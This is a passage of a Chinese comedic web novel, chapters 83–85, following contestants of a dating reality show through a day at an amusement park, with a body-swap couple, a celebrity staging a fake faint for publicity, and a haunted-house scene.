在氛围感的加持下,乔缨终于抛下了偶像包袱,开始敞开嗓子大笑:“桀桀桀桀桀———” 速度減慢,过山车缓缓下降,司逸闭着眼睛,弱柳扶风般倒在隔壁美女的肩上,睡得跟个婴儿一样。 好暖昧,靠这么近,建议下次和对象一起来。 乔缨意犹未尽,像是脱胎换骨重新被母亲生出来了一样,有种新生儿初来乍到时对这个世界的陌生感。 她推推司逸,兴奋不已:“姐妹,咱再去坐一次吧,好好玩啊。” 推了半天,司逸纹丝不动。 直到有个工作人员拿着大喇叭,抵在她耳朵旁大喊一声:“你好!这里不让睡觉!” 司逸迷迷瞪瞪地睁开眼睛,迈下过山车,看着乔缨像被屁崩了一样的头发笑出了猪叫。 乔缨装作不认识她的样子,走到过山车旁边的大屏幕前,上面全是抓拍的照片。 她这时才发现,自己在过山车上仿佛鬼上身一般的抽象行为艺术,全都被如实记录了下来。 而司逸呢? 哦,司逸早在机器启动的那一刻就已经彻底晕过去了。 乔缨手忙脚乱地掏出一只口罩戴上,包裹得严严实实,做贼似的迈近几步,小心翼翼问工作人员:“咳,你们……这照片,买下来多少钱?” 工作人员露出八颗牙齿,笑容明媚:“拍照免费,删一张五十哦亲。” 乔缨:“……” 岂有此理! 一旁的司逸脚步虚浮,头晕眼花,恍惚间好像看到地上有一百块钱,下意识弯腰就去捡。 就在她单膝跪地的瞬间,一个男人惊恐万分地喊了一声:“哎呀你干嘛?跟我求婚干嘛?” “?” 司逸抬起头,看着男人惊慌失措的表情,缓缓打出一个问号。 乔缨听到了动静,以为司逸又被人缠上了,捏住男人的手腕把他往旁边一拽——— 江简哲,怎么又是你! 而江简哲见到乔缨后脚下一软,差点下意识地又给她跪下。 他迅速瞥了一眼司逸,像是联想到了什么,满眼都是不可置信,痛心疾首道:“姐夫,没想到……你这样对得起姐姐吗?” 他声情并茂地控诉,乔缨听得迷惑,一旁的司逸比她更迷惑。 不是,什么姐姐姐夫的,这是在拍《老娘舅》吗? 她怎么感觉脑瓜子嗡嗡的呢? 第83章 第八十三章 我有喜欢的女生了 「Dream Land」游乐园有一座著名的天鹅堡, 天鹅堡下有一潭著名的天鹅湖,天鹅湖上有一个不怎么著名的人在凹着天鹅颈。 阮绵绵坐在一辆天鹅形状的脚踏游船上,脊背挺直, 扭着脖子,姿态优雅, 脚上却一动不动。 直播间还在持续不断地发【发生什么事了】和【我们支持绵绵】,虽然不知道里面有几个是活人, 但它们竟然产生了一种文字恐怖谷效应, 大白天的让人后背发凉。 团队今天的策略是让水军伪装成黑粉,在弹幕上辱骂阮绵绵,然后她再装作一无所知的样子把咒骂的话念出来,当着直播间所有人的面,假装被黑粉的攻击气晕过去, 让早就准备好的担架和救护车把她抬去医院。 再配合上买好的热搜和通稿, 这一套操作下来,不仅可以给阮绵绵塑造一个悲惨的受害者形象, 还能成功将话题从“明星教唆粉丝犯罪”歪到“明星也是网暴受害者”上。 网络热点更新换代何其快,在团队全力的岁月史书下, 等阮绵绵住几天院出来, 早就没人记得她这档子事了。 脑子里装着这件大事,阮绵绵一心都在盘算着待会儿要怎么表演晕倒、哪个角度和姿势最好看, 便也懒得再理会恋综的拍摄任务,全程找借口划水。 她 两只脚从脚踏板上挪开, 往椅背上一靠, 对何孟理散漫道:“不好意思啊,我的大脚趾刚刚在路上磕了一下,没办法动了呢。” 何孟理不语, 只是一味地划船。 他几次三番想开口说话,又觉得自己一个大男人去倒贴一个满心满眼都是沈颐的女人实在有些自降身价,只能跟个老黄牛一样吭哧吭哧蹬着船。 比起恋综男嘉宾,看起来更像是渡口纤夫。 又因为皮肤被晒得黢黑,导致刚进直播间的观众一阵误会: 【刚来,船上怎么还有个当地人啊?】 空气炎热困顿,何孟理深吸一口气,终于忍受不住这诡异的气氛了,说出了一句经典的搭讪开场白:“阮小姐平时有什么兴趣爱好吗?” 阮绵绵想起自己的文艺女孩人设,淡淡回答道:“我喜欢看一些文学作品。” 听到这个答案,好为人师的何孟理明显来了兴趣,抚掌大笑:“看书好啊,现在女人都太浮躁,像你这样爱看书的女孩子不多了!对了,我给你推荐一本吧。” “什么书?” 阮绵绵歪头疑惑地看了他一眼。 “《我的25岁女房客》,特别虐心。” 何孟理又开始眼神沧桑地目视远方,不知道在演些什么,反正浑身上下充斥着只有他自己能理解到的深情和惆怅。 “唉,看得我想吸烟了,没有人理解我的感受,你看了就知道我为什么这么说了,唉。” 你再装模作样叹气试试看呢? 阮绵绵白他一眼,终于说了一句从开播到现在的唯一一句人话:“神经病。” 她的声音很小,虽然直播间的人没听到,但何孟理却听得清清楚楚。 正要发出的那道叹气声卡在喉咙里,上也不是下也不是,他只得脸色铁青地咽了下去,祈祷着赶紧碰到沈颐,好把这块烫手山芋甩掉。 他知道沈颐和乔缨的船就在天鹅湖对岸,于是开始思考起了这道“甲乙两队合修一条公路,从a、b两地同时出发,相向而行”的经典小学数学题。 列出各种条件后,高考数学成绩高达25分的何孟理绞尽脑汁算出来一堆胆汁,竟然算到他必须要每分钟划六千米才能和沈颐在湖中央相遇。 比高铁还快,简直是世界奇迹! 何孟理蹬踏板的脚微微颤抖,无比悲凉地将头伸出船外,望了一眼天空,再度叹息:“唉,我什么时候才能遇到自己的沈幼楚?” “啪唧”一下,一滩鸟屎砸中了他的眼睛。 — 另一侧,裴砚知和沈颐面对面坐在铺满鲜花的浪漫小船上,湖水波光粼粼,映在两人剑拔弩张的瞳孔里。 沈颐深情款款地看着裴砚知,语气哀伤地说:“我是真的知道错了,你到底怎样才肯原谅我?” 没等裴砚知回答,他又自顾自地开始加戏,转头看着湖面上的倒影,顾影自怜道:“没关系,我可以等你,只要你能重新给我一个机会,无论你要什么我都会答应的。” “那你把钱给我。” 裴砚知朝他摊开一只手掌。 沈颐故作深情的脸顿时僵住了,猛然抬起头,尬笑一声:“可没有物质的爱情就是一盘散沙,不用风吹走几步就散了,我这也是为了我们以后考虑,我不想做一个只吃软饭的男人……” 得,有人想和库里一对一,有人被爹妈报了个物理一对一,而他是在和顾里一对一。 裴砚知百无聊赖地听着他狡辩,有一搭没一搭地划着船桨,却看到前方出现了一个熟悉的身影。 沈颐还在对面喋喋不休地说话,捂着胸口表演心绞痛,低声演唱经典曲目:“忘记你我做不到……” “那你就去死。” 唱得比蚊子还难听,裴砚知不耐烦地打断,两只手臂却仿佛上紧了发条似的,盯着前方那道背影,快速追逐而去。 几米之外的乔缨虎躯一震,感觉背后有道灼热的视线在盯着自己的后脑勺,扭头对司逸奇怪地说:“嘶……好像有脏东西在跟着我们。” 司逸还没有从过山车的眩晕中缓过神来,往太阳穴上涂抹着风油精,闲闲开口:“可能是来找你要微信的。” 她把风油精揣进包里,上下打量乔缨一眼,眼神微妙地问:“你有对象了吗?” 乔缨还以为司逸是对自己有意思,害怕给裴砚知胡乱惹上什么桃花债,连忙摆手婉拒:“我有喜欢的女生了。” 也不算说谎,她自己喜欢自己。 可话音未落,耳旁却猝然炸开一道熟悉的嗓音:“谁啊?” 乔缨被吓了一跳,身体僵硬地回过头,和隔壁小木船里的裴砚知大眼瞪小眼。 直播的GoPro镜头固定在船头,还不知道两人交换身体的观众全程目睹了这段神对话,不禁调侃道: 【好难猜啊,他喜欢谁呢?到底是乔缨妈妈的女儿,还是乔缨姐姐的妹妹,还是最佳女配角提名者,还是稀有血型拥有者,还是钻石全脸呢?裴砚知喜欢的那个女生到底是谁啊。】 然而水波一荡,镜头又扫到了乔缨身旁的司逸,再度掀起了一场腥风血雨: 【不对劲,裴砚知旁边怎么坐了一个女人?这是什么NTR现场?】 【你们有没有觉得这个女生和乔缨有点像?】 【替身文学,是替身文学吧?】 【妈呀,瞬间就不好嗑了。】 两相对峙下,乔缨赶紧给裴砚知使了几个眼色,用脑电波交流情报。 乔缨眼睛珠子转了一圈,觑起眼睛,表情严肃地指了指胸口:“我说的女生是我自己,懂不懂?” 裴砚知抬抬眉毛,越过她的脸瞟了一眼司逸,然后再将视线挪回到她身上,无声质问:“她是谁?你们在干什么?” 乔缨拍拍双人船的船桨,理直气壮道:“工作,工作懂不懂?” 裴砚知哼了一声,扭过头不再看她。 察觉到二人异样的沈颐阴恻恻地笑了一下,冷嘲热讽道:“看吧,男人都这样,吃着碗里看着锅里,我只是犯了全天下的男人都会犯的错而已。” 四下寂静无声,三双眼睛诧异地看着他,给了他一种万众瞩目的错觉。 有了表演深情的舞台和观众,沈颐又垂下眼睫,柔肠百转地说:“你知道,让一个浪子回头有多难吗?” “很难吗?” 裴砚知实在无法理解这个问题,斩钉截铁道:“把头砍下来不就好了?” “……我承认以前对你态度不好,但我罪不至死吧?” 沈颐被他的话噎住,沉痛地闭了闭眼,用四十五度角仰望天空,语气伤感:“我不明白,我们原本是青梅竹马,两小无猜,一起度过了漫长时光,怎么就走到了这一步呢?为什么有的人走着走着就散了呢?” “嗯嘟,这到底是为什么呢?” 乔缨听不下去了,一只手撑着脸颊,嗤笑出声:“因为你下贱啊,傻x。” “我和乔缨说话,关你什么事?” 情绪几次三番被打断,沈颐暴怒地攥紧了拳头,隔着一臂距离,起身就要朝乔缨挥去一拳。 小木船摇摇晃晃,两条船的船身眼见着就要碰到一起,乔缨挥起船桨给了沈颐一杵子,司逸连忙调转着方向,而裴砚知则是将负隅顽抗的沈颐死死按在船上。 【发生什么事了?】 【我们不支持沈颐!】 【任天堂明星大乱斗啊?】 场面正混乱时,何孟理来了。 因为阮绵绵不出力,他一个人蹬船蹬得脚抽筋,于是聪明的脑瓜子一转,打开了船尾禁止游客触碰的发动机。 又因为鸟屎糊住了眼睛,湖面上,白天鹅船就像个泥头车一样疾驰而来,一下子创飞了两条小船,以及船上四个量子纠缠在一起的人。 乔缨死死扒拉着船壁,千钧一发之际,将快要落到湖中的司逸拉了上来,自己则因为反作用力掉进了水里。 被水淹没的前一秒,她朝裴砚知伸出手,用超绝气泡音(物理版)虚弱地 求救:“裴砚知。oo0OO救。o00OOO我……o000OO O O” 裴砚知死命拽住她的手,咬牙道:“别吐泡泡了,我救你。” 乔缨惨然一笑:“还是……oOO你最好了。oOO等我……00上岸oOO我就……oO咕噜咕噜咕噜……” 水汽氤氲,日光灼灼,湖面上挂起一道不合时宜的彩虹,整个场面荒诞得像是马桶台自制无厘头都市轻喜剧。 雷人。 乔缨还在死不瞑目地吐着泡泡,裴砚知托着她的头,忍无可忍地大喊一声:“你别说了,快沉底了!” 第84章 第八十四章 你的钢门比较松弛 「Dream Land」游乐园有两个吉祥物, 一个是只嬉皮笑脸的河马,一个是朵嬉皮笑脸的太阳花,光是站在那里, 就看得人一阵火大。 乔缨仰躺在长椅上,看着头顶它俩嬉皮笑脸的巨幅广告, 感觉自己有点像《回家的诱惑》最后一集结婚的品如,正看着艾莉和洪世贤飘在云层上向她招手。 天色渐渐暗了下去, 落日的余晖洒在湖面, 中文里的浮光跃金,英文里的Golden Hour,都在此刻具像化了起来。 然而美好宁静的画面里,却有两个不怎么和谐的人影以一种十分诡异的姿势趴在岸边,看得围观的人倒吸一口凉气。 沈颐倒拔着阮绵绵的双腿, 两只手臂打着颤, 咬牙道:“你……你就不能让别人来捞吗?” 阮绵绵坚定摇头:“不行,那可是你送我的项链, 我一定要把它取回来!” 她此刻的姿势丝毫不比沈颐轻松,上半身倒栽于湖面上, 两只手掌拼命往前伸直, 试图用手指尖将勾在小木桩上的项链扯下来。 那是节目录制第一天时沈颐送给她的东西,八位嘉宾里沈颐唯独给她带了见面礼, 还是一条纯金打造的项链,当即就给她感动坏了, 这几天连洗澡时都舍不得摘。 虽然这条纯金项链洗了几天有些掉色了, 目前还浮在水面上一荡一荡,但这丝毫都不妨碍它在阮绵绵心目中的分量。 前一晚刚被富婆掏空身体的沈颐逐渐感觉体力不支,额角青筋冒起, 连牙齿都开始打颤。 他忍住屁股处的不适,狠狠往下扎了一个马步,焦躁催促:“还没好吗?你事儿可真多!” “快了,就差一点点!” 阮绵绵使出了吃奶的力气,又使劲往前咕蛹了一下,身体立即往下险之又险地滑动了几厘米。 终于,就在她即将要维持不住平衡时,手指终于摸到了那条项链。 她索性将眼睛一闭,五指一握,连带着将木桩也拔了出来。 木桩脱离了湖底的淤泥,阮绵绵顺着巨大的惯性将它往后一挥。 “我拔出来了!我拔出来了!” 她一边挥一边喊,神情雀跃激动。 可还没等她回过头和沈颐来个深情对视,拽着她小腿的力道陡然间一松。 缠在木桩上的假金链子像块高速飞行的板砖一样,不偏不倚正好砸中了沈颐的脑门,“邦”的一下,惊起了一林子的飞鸟。 【枪枪爆头,好运连连。】 【死丫头一身使不完的牛劲。】 【阮绵绵不是说她抑郁了吗,我看挺精神的啊?】 岸上,伴随着沈颐的轰然倒地,阮绵绵毫无防备地一个出溜滑掉进了水里。 她扑腾几下后便被工作人员捞了上来,然后一把将人掀开,扑到生死不明的沈颐身边大哭小叫。 好巧不巧,沈颐倒下的地方刚好有块凸起的地砖角,此刻正和他扎马步时撅起的屁股严丝合缝地嵌了在一起。 隐忍不发的痔疮在一天的折磨下终于不堪重负,血流满地。 围观的人见状,立即捂着嘴和身旁的人小声蛐蛐道:“我去,好惨烈,看得我一阵幻痛。” 弹幕也跟着咋舌: 【原来明星也有这种烦恼,平衡了,至少痔疮对所有人都是平等的。】 【好社死,带入沈颐我宁愿这辈子都别醒过来了。】 【提肛小助手提示你:看到我请记得提肛哦。】 【你们说有没有一种可能,阮绵绵其实并不喜欢沈颐,之所以装出很恋爱脑的样子,就是为了像今天这样,神不知鬼不觉地把沈颐干掉?】 【有道理啊!邪恶棉花糖计划!】 最终,阮绵绵提前联系好的救护车和担架终归还是派上了用场,准备将奄奄一息的沈颐送进医院。 阮绵绵扒拉着担架,泪眼朦胧地握住了沈颐垂下来的手。 见她俨然一副忘了今天任务的样子,吕薇只能在镜头外朝阮绵绵焦急地比划着手势。 晕啊,快晕啊! 要不然热搜就白买了啊! 人群中的阮绵绵似乎接收到了信号。她侧头茫然地看了吕薇一眼,而后突然想起来一件大事——— 自己今天好像是来卖惨的诶? 时间已经来不及了,为了赶上热搜,她快速挑了个好看的角度,在镜头前毫无征兆地两眼一翻,十分做作地晕了过去。 【哎哟这演技……也是十分的演和零分的技呀……】 【她也太拼了,不怕倒下的时侯沾到地上的痰吗?】 【谁懂,这两个人卖cp的场面有种受伤了躺路边结果被赶来的救护车碾死的荒谬感。】 医生见怪不怪地又抬出来一副担架,拉着情颐绵绵cp水灵灵地扬长而去,双双送入病房。 半个小时后,沈颐从昏迷中悠悠转醒,先是鼻腔嗅到了消毒水味,紧接而来的便是下半身几乎把他撕裂成两半的疼痛。 他惊慌失措地张开眼睛,挣扎着试图从床上坐起来,被医生一把按住。 医生表情严肃,拿着病历本,通知他病情的严重性:“你的囗囗比较松弛,但是你的痔疮又很好地弥补了这一部分,如果做痔疮手术把它切除的话,就会显得你的囗囗比较大……现在最好的办法就是在做痔疮的同时,给你做一个囗囗紧缩术。” 沈颐感觉自己好像听不懂中文了,抓住医生的衣角,绝望地拧紧了眉头,难以置信道:“你说什么?” 医生无奈地叹口气,把衣服从他手里抽出来,又重复了一遍,末了还一言难尽地打量他一眼。 早在检查时他就看到了沈颐身上青青紫紫的痕迹,身为一个肛肠科医生,他也经历过些许风霜,此刻只能语重心长地劝诫他一句:“年轻人,有激情是好事,但也别太激情了,还是悠着点儿吧。” 沈颐已经绝望到听不见他说话了。 他脑子里一阵嗡鸣声,从他的前半生思考到他的下半身,从稳定的生命体征快进到走马灯。 待沈颐终于回过了神时,医生不知道什么时候已经出了病房,只剩下墙上一张孤零零的海报对着自己。 那上面还写着一行广告语———“我的AI听我的”,看起来好像很高科技。 但不知道是不是心理因素作祟,两个花体版的“AI”字母连起来,怎么看怎么都像个“肛”字,仿佛在冲着他挑衅。 沈颐攥紧了床单,将手边的玻璃杯砸到墙上,语气阴沉地放出狠话:“阮绵绵,你晚上最好小心关好窗,汉尼拔来了。” 楼上的某间病房,阮绵绵忽然打了个喷嚏。 她裹了裹身上的薄外套,手上捧着一本凹人设用的严肃文学书籍,歪在轮椅上开始摆拍住院营业照。 在公关团队的努力下,短短半个小时便让阮绵绵病得人尽皆知,几个词条正高高挂在热搜上。 上联叫#心疼阮绵绵晕倒并不害臊#,下联叫#过度围观阮绵绵也是网暴#,唬得网友一愣一愣的,还真以为她生了什么大病。 吕薇在后援会大粉群里下了命令,让她们把微博广场上逆反的路人言论压下去,而后对阮绵绵长舒一口气,道:“接下来你就只需要好好待在这里住个几天院就行了,剩下的事情交给公关组来处理。” 阮绵绵抿唇:“那恋综的拍摄怎么办?” “嗐,你担心这个干嘛。” 吕薇一摆手,毫不在意地说:“节目组嫌嘉宾 进展太慢,下一站打算上点强度,把他们扔到荒岛上去玩生存游戏,好让他们产生吊桥效应。” “荒岛生存?” 阮绵绵鄙夷地撇撇嘴:“肯定还得种菜搭房子之类的吧?累死了,我可不想去。” “所以你可以等他们六个人把荒岛都收拾好了,再和沈颐一起回归,省时省力。” 吕薇建议道:“当所有人都灰头土脸时,你们俩闪亮登场,想想看这个节目效果,啧啧,一定能把你衬托得跟天仙一样。” 甚至还可以再买个#阮绵绵敬业#的词条夸她带病工作,再营销一下打工人的人设,口碑可不就一下子反转了吗? “薇姐,还是你有招啊。” 阮绵绵恍然大悟,继而颇为惆怅地看向窗外那座巨大的摩天轮,喃喃自语:“可惜,我原本还打算和沈颐哥哥一起去坐摩天轮的,听说那里很灵验呢。” — “确实很灵验。” 司逸摸着下巴,指了指不远处灯光璀璨的摩天轮,和节目组的工作人员解释道:“我有三个个朋友,每一个坐完后不出三天就分手了,据说这里是斩桃花、固正缘的地方。” “什么叫正缘?” 乔缨换上一身干爽的衣服走了过来,听到这句话后奇怪地问了一嘴。 跟在她身后的裴砚知脚步一顿,随口说道:“不知道,不过听他们说,遇到正缘睡眠就会变好。” 说完,还不经意地瞥了乔缨一眼。 可乔缨却毫无察觉,若有所思地挑挑眉:“哦,那看来我的正缘是《化工热力学》。” 司逸在见到两人后神色明显不自然起来,乔缨内心产生了一种不详的预感,往后退了几步。 老天奶,这姐妹不会爱上她了吧? 不过她今天英雌救美确实挺帅的,爱上她也是人之常情。 乔缨沉浸在自己的人格魅力里,然而司逸却是直接略过了她,拽住裴砚知的手臂往外拉了几步。 裴砚知抽出手,抱臂靠在墙上,用眼神询问她想干嘛。 司逸清清嗓子,压低声音,神神秘秘开口:“乔小姐,你和我说句实话,裴砚知是不是变性人?” “……?” 裴砚知靠在墙上的背佝偻了一下,难得露出了震惊的神情:“为什么这么问?” “就是一种感觉。” 司逸沉思片刻,没想出什么更好的词来形容,含糊不清地答:“感觉他的灵魂,和身体不匹配。” 还挺敏锐的。 裴砚知默不作声地观察着她的表情。 怕被误会是什么奇怪的人,司逸摆摆手连忙解释:“不是,我没有冒犯他的意思,就是……唉,我总是不自觉地把他当成我妹妹,你懂这种感觉吗?” “不是很想懂。” 裴砚知一秒作出回答,不知怎的忽然想起来这段时间恶补到的各种娱乐圈黑话,眉毛一皱:“你是泥塑粉吧?” “你瞎说什么呢!” 司逸瞪他一眼,心烦意乱地揉揉头发,泄气道:“哎呀,算了,当我没说过。” 她转过身,和迎面而来的乔缨撞了个正着,给她留下一个微妙的眼神后就嘟嘟囔囔地走远了。 乔缨:“你俩干嘛呢?” 裴砚知视线飘忽:“没干嘛,探讨了一些有关生物学的伦理问题。” 听不懂。 以这两个人的专业领域,大概聊的是什么《仿生无人机会梦见电子水稻吗》的话题。 乔缨很快就把这事抛之脑后,将手里毛绒绒的小猫耳朵戴到他头上,捏了一下开关,猫耳自发地动了起来。 “怎么感觉像个索命的邪祟?” 她围着裴砚知转了一圈,纳闷道:“你到底是怎么把一件简单的衣服穿出了白无常的感觉的?” “主要看气质。” 裴砚知走到一旁的小摊上买了只嬉皮笑脸的太阳花发夹,将乔缨垂在眼睛前的头发别上去。 他忽然凝神看了她半晌,发出疑问:“怎么感觉我的发际线好像往后移了几毫米?” 乔缨闭口不言,没敢说是坐过山车坐的。 落水后裴砚知这边的直播就中断了,现在四周都是结束工作后打算在游乐园夜场好好放松一下的工作人员,大部分都在摩天轮前排着队。 看到两人熟稔的样子,没有人上前打扰,只是默默吃着瓜,目送他们坐进舱室后才争先恐后地去抢下一个位置。 斜后方,两个执行导演阴暗地趴在玻璃窗上,试图看清他们的一举一动,可乔缨和裴砚知却好像真是来看风景的一样,全程没说一句话。 她们锲而不舍地盯着,终于在升至最高点时,看到前方两尊仿佛石化了的雕像突然动了动。 烟花恰好在空中绽开,照亮了男雕像俊美的脸庞。 执行导演仔细分辨着他的嘴型,激动尖叫:“天呐,好浪漫!他说的一定是‘乔缨,我爱你’吧!” 而舱室内,乔缨将一个东西从衣领上弹飞,惊慌道:“救我,有蟑螂!” 裴砚知拿出纸巾,捏起蟑螂从窗户缝隙里扔了出去,低声安抚:“别怕,我已经扔掉了。” 乔缨拍拍胸脯,劫后余生地笑了笑:“谢谢,你胆子真大。” 再次误读的执行导演们对视一眼,捂着嘴满眼惊讶:“哈?‘姐姐,你嫁给我吧’?” 没想到裴砚知私底下玩这么大,居然还叫姐姐。 正好阮绵绵和沈颐请假,看来这下不得不请他当新嘉宾了。 两个打工人立即掏出来手机,开始噼里啪啦地赶制起策划案。 一片热血沸腾的打字声中,被裴砚知扔出来的蟑螂砸到她们的窗户上,毫发无伤,振翅而去。 其中一个导演A听到声响,抬起头看了一眼,被它的生命力所折服,叹道:“真是如玫瑰般坚强的蟑螂啊,可能是我比较性感吧。” 另一个导演B正在群里和领导汇报情况,闻言手一抖,把“张导”打成了“蟑螂”,顺手就发了出去。 等她意识到自己干了什么事后,早已超出了撤回的时间,只能头皮发麻地捧着手机,惊慌失措地问:“怎么办怎么办?我会被骂死的!” 导演A看了一眼她的屏幕,自信地打开了工作群,云淡风轻道:“怕什么,我用拍一拍把你的消息顶上去。” “还是你有办法啊。” 导演B感激地看她一眼,但当她想到自己拍一拍设置的是什么鬼东西后,眼里的感激立马变作了惊恐。 她伸手想去阻止A的动作,然而一切都已经来不及了。 在她呆滞而绝望的眼神下,工作群里快速弹出来一连串的最新消息: 【“导演小A”拍了拍我的炸药包,问公司怎么还没爆炸】 【“导演小A”拍了拍我的炸药包,问公司怎么还没爆炸】 …… 空气寂静,导演A无助地瘫坐在座椅上,欲哭无泪:“我们,应该不会被开除的,对吧?” 第85章 第八十五章 少年自有少年狂 除去蟑螂的插曲, 摩天轮的氛围倒也还算浪漫。 透明的小方舱悬在夜空之上,喧闹嘈杂的声音逐渐模糊远去,因为视角足够开阔, 甚至还能远眺到港口的灯火。 知道裴砚知有点洁癖,乔缨从兜里掏出来一包湿纸巾, 握住他的手腕替他擦拭着扔完蟑螂的手指。 触感冰凉,裴砚知坐姿端正得像个来视察的领导, 视线飘来飘去, 最后停留在乔缨头发上的那朵太阳花上。 他没话找话地说:“听说这个摩天轮一圈要走13分钟14秒。” “是吗?” 小方舱正好到达最低点,乔缨把垃圾收好,跨到地面后拿出手机看了一眼,奇怪道:“不会吧,我从一上来就开始计时, 现在才过去12分48秒。” “……你刚刚读秒读慢了。” 裴砚知在工作人员尴尬的笑容里赶紧把乔缨拉走, 生怕她下一秒就被真人快打。 两人走着走着来到了一座鬼屋前,看门口的介绍, 馆内似乎有真人npc出演,在网上广受好评, 去过的都说恐怖, 乐园推荐指数五颗星。 要去玩吗? 裴砚知冷静思考了一下,虽然乔缨看起来好像很喜欢这些东西, 但万一她其实很害怕呢?要不然别进去了? 正当他犹豫不决的时候,迎面走出来一对情侣。 高大英俊的男人柔弱无骨地挂在一个Lolita打扮的双马尾萌妹身上, 眼角泛着泪 花, 娇滴滴地撒着娇:“宝宝,我好害怕啊,要一个亲亲才能好~” 双马尾萌妹宠溺地摸摸他的头, 在他侧脸上蜻蜓点水吻了一下,俏皮一笑:“哎呦,没想到我家宝宝胆子这么小,好有反差感,真可爱。” 裴砚知听罢,握了握拳。 去,必须去! 被小情侣闪瞎眼的乔缨简直没眼看,拉着呆站在门口的裴砚知进了屋,开始排队。 不远处。 从摩天轮丧眉搭眼下来的导演小A和导演小B绝望地对视一眼,顿时感觉天都塌了。 为了不被开除,她们一直跟在两人身后,想拦下裴砚知问问他有没有参加节目的打算,却一直没有找到很好的出场时机。 现在目标已经进了鬼屋,她们是进去堵人,还是在门口等? 正当两人犹豫不决时,迎面走出来了她们的顶头上司———“蟑螂”本蟑的张导,他此刻正屁颠屁颠跟在司逸身后。 年过半百的张导两腿打着摆子,强撑着笑脸说:“那啥,小司总,赞助的事情我们就这么说定了哈,合作愉快。” 司逸伸出一只手和他握了握,感叹道:“主要是您太有诚意和毅力了,为了合作居然都追到了鬼屋,我不答应也有些过意不去。” 小A和小B听罢,也握了握拳。 去,必须去! 两人雄赳赳气昂昂地走了进去,售票窗口站着一个抱着兔子玩偶的女孩,笑嘻嘻地拿起两人的景区通行证,往上面盖了一个戳。 小A和小B手拉着手给彼此加油打气,一脚踏进了破破烂烂的入口,却意外碰见了几个熟面孔。 周悦甜今天画了一个混血烟熏妆,本就有些脱妆的脸现在再被昏暗的灯光一照,看起来可以无痛加入NPC的队伍。 江简哲盯着她看了半晌,突然说了一句:“周悦甜,你好像NANA啊。” “是吗?” 周悦甜眼睛一亮,张口就哼了一段《黑色眼泪》,表情陶醉。 江简哲沉默半秒,道:“我说的是俄罗斯娜娜。” 段羡秋则是站在铁门外,心浮气躁地在原地转着圈。 他大老远的就看到乔缨和裴砚知在鬼屋排队,慌里慌张地过来,刚好遇到两人随着上一批的队伍走了进去。 工作人员说要凑齐八个人才能进,也不知道要在这鬼地方等多久。 段羡秋嫌弃地扫了一眼四周的装饰,黑压压的洞里被五颜六色的劣质氛围灯笼罩,整个场景布置得非常简陋,像是街头骗小孩玩的那种鬼屋。 一点也不吓人。 屋内的人神色各异,小A和小B打了声招呼,只有吴笑希走过来和她们寒暄了几句,其余几人连眼神都懒得给。 明星嘛,就这样。 她们自我安慰了几句,降低存在感缩在角落。 大概几分钟后,又一对情侣走了进来。 男人和裴砚知的身材很像,女人和乔缨的样貌很像,相似程度简直能去当智力硬伤cp的特型演员。 没错,来的人正是许久没有出场的白逸纯和清纯男大童娄梓。 作为两个糊咖,没有工作邀约时他们全凭在鬼屋客串NPC赚钱,工作内容就是混进游客的队伍里给同事打配合,一天下来不知道吓飞了多少人。 童娄梓贴近白逸纯的耳朵,耿直发问:“他们是不是又把你认成乔师姐了?” “闭嘴。” 白逸纯一把揪住他的胳膊,镇定自若地站到几人身后,朝监控的方向比了个手势。 铁门应声打开,一条七扭八拐的长廊出现在几人面前。 两侧的墙壁上掏出了几个大大小小的洞,里面放着几个旧到快要散架的塑料人。 外表的涂漆已经褪色,内里的机械声“吱嘎吱嘎”,僵硬地发出一些根本就不恐怖的噪音。 天花板的锁链无风而动,但也增添不了多少鬼屋的气氛,花花绿绿的灯把整个空间照得像旅游景区的溶洞。 众人还以为只有最开始的一段路是这种小儿科的东西,好给他们适应环境的时间。 可当他们一头雾水地走了十分钟,一直走到出口后,周遭放着的还是那些塑料人模和敷衍到极致的布景,顿时气不打一出来。 “就这?还最恐怖呢?” 江简哲一巴掌拍到售票窗口的柜台上,大喊一声:“rnm,退钱!” 抱着兔子玩偶的女孩不解地歪歪头,问:“各位不是才刚来吗?” “怎么可能?我们是从———” 江简哲往他们出来的方向一指,却猛然发现了不对劲。 出口和入口位置调转了。 按理说,他们应该位于左侧的出口处,然而事实却是,他们现在的位置是在右侧的入口前。 就好像才刚刚进鬼屋一样,在长廊上走的那十几分钟仿佛只是做了个梦。 “走错地方了吗?” 江简哲抖了抖鸡皮疙瘩,围着售票员转了一圈,连兔子玩偶的耳朵都拎起来细细查看,越看越疑惑:“没有走错啊,连售票员都长得一模一样。” 听到这话,本就怕鬼的小A和小B抱住一团,抖成了鹌鹑。 气氛已经到了,轮到两个内鬼开始表演。 白逸纯装作害怕地躲到了童娄梓的身后,哆哆嗦嗦问道:“是不是……闹鬼了啊?” “世界上哪里有鬼?都叫你少看点乱七八糟的东西。” 童娄梓不屑地哼了一声:“瞅瞅通行证不就知道了,进来的时候不是盖了章吗?” 怕到极致的小A和小B闻言,立即把通行证拿出来看了一眼,悚然一惊。 上面一片空白,什么都没有。 段羡秋虽然也很疑惑,但耐不住他想要追到乔缨和裴砚知的心,不由得急切道:“那就再进去一次。” 一行人再度踏进入口,再度来到了那条长廊。 然而一切都变了。 像是进了里世界一样,整个空间被涂满了血迹,浓厚的血腥味在空气中弥漫,天花板上的锁链变成了上吊的尸体,所有的塑料假人都活了过来,用眼睛直勾勾地盯着他们。 没了花花绿绿的灯光,头顶摇晃的钨丝灯泡一闪一闪,每一个黑下去的瞬间都让人心惊肉跳。 终于,钨丝灯彻底黑了下来,与此同时窗外划过一道闪电,在白墙上隐隐约约照出来一个上吊的人影,转瞬间又消失不见。 吴笑希咽了咽喉咙,扯出一个比哭还难看的笑容:“这种明知道对方要吓人自己却毫无办法的感觉,真是太让人着迷了。” 有种明知道房间里有只虫子在发出尖锐暴鸣,却怎么找都找不到它在哪里,只能捂着耳朵尖叫的无力感。 而周悦甜已经被吓得两腿打颤,她站在白逸纯和童娄梓的中间,两手捂眼只露出一道小缝,数着墙上的影子,浑身颤抖。 她颤颤巍巍地指了指白墙,声音里带上了哭腔:“我们不是八个人吗?为什么墙上……有九个影子啊?” 声音不大,但足以让所有人听到。 长廊上的几人此时全都停下了动作,僵在原地。 队伍里,不知谁发出来一道叹息,周悦甜拉拉白逸纯的胳膊,小声道:“喂,你们怎么都不说话了?不要吓我。” 白逸纯缓慢地转过了头,空洞无神的眼睛虚焦涣散,几行触目惊心的血泪从眼角蜿蜒而下,歪头对她一笑。 周悦甜发不出声音了,跌在地上往后爬,后背却撞上一个冰冷坚硬的东西。 她呆滞地往上一看。 童娄梓血淋淋的脑袋正好掉入了她怀中。 